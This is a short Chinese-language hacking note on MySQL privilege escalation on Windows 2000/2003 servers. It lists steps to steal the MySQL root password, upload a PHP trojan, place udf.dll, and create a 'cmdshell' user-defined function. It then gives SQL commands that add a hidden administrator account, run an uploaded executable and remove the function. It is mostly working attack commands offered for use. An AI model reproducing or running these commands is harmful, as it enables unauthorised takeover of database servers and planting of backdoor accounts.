Mysql提权

（1）获取Mysql数据库的root用户密码和数据库用户名
（2）上传提权php木马，通过连接3389可以知道服务器是2003系统
（3）udf.dll对应操作系统
C:\Winnt\udf.dll    2000
C:\Windows\udf.dll 2003
（4）设置相应的路径后直接导出。
（5）执行以下命令
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user simeon$ 123456 /add');  
select cmdshell('net localgroup administrators simeon$ /add');  
select cmdshell('c:\simeon.exe');  运行simeon.exe
drop function cmdshell; 删除函数
select cmdshell('netstat -an'); 这是查看端口查开放情况